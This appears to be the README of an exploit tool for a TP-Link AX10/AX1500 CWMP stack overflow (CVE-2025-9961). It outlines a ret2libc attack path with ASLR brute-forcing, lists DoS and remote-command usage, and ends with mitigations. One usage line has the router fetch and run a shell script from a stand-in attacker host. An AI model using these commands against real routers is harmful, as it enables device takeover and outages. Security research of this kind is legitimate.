CVE-2025-9961

TP-Link AX10/AX1500 CWMP 缓冲区溢出远程代码执行

概述

CWMP（TR-069）中的栈缓冲区溢出导致远程代码执行。

攻击流程

flowchart LR
    A[Attacker] --> B["Malicious ACS"]
    B --> C["SetParameterValues"]
    C --> D["Stack Overflow"]
    D --> E["Overwrite PC"]
    E --> F["ret2libc"]
    F --> G["system()"]
    G --> H["RCE"]

技术细节

漏洞存在于 cwmp 进程处理 SetParameterValues SOAP 请求的过程中。输入数据在计算缓冲区大小时未经边界检查。

利用方式：

• 使用 ret2libc 调用 system()
• 通过暴力破解绕过 ASLR
• 服务重启允许重复尝试

用法

python exploit.py <target_ip> --check-only

python exploit.py 192.168.0.1 --dos

python exploit.py 192.168.0.1 -c "wget http://attacker/shell.sh -O /tmp/s; sh /tmp/s"

参数

依赖项

无（使用标准库）

缓解措施

• 更新至已修复固件
• 禁用 TR-069/CWMP
• 限制端口 7547 的访问

免责声明

仅供授权安全测试使用。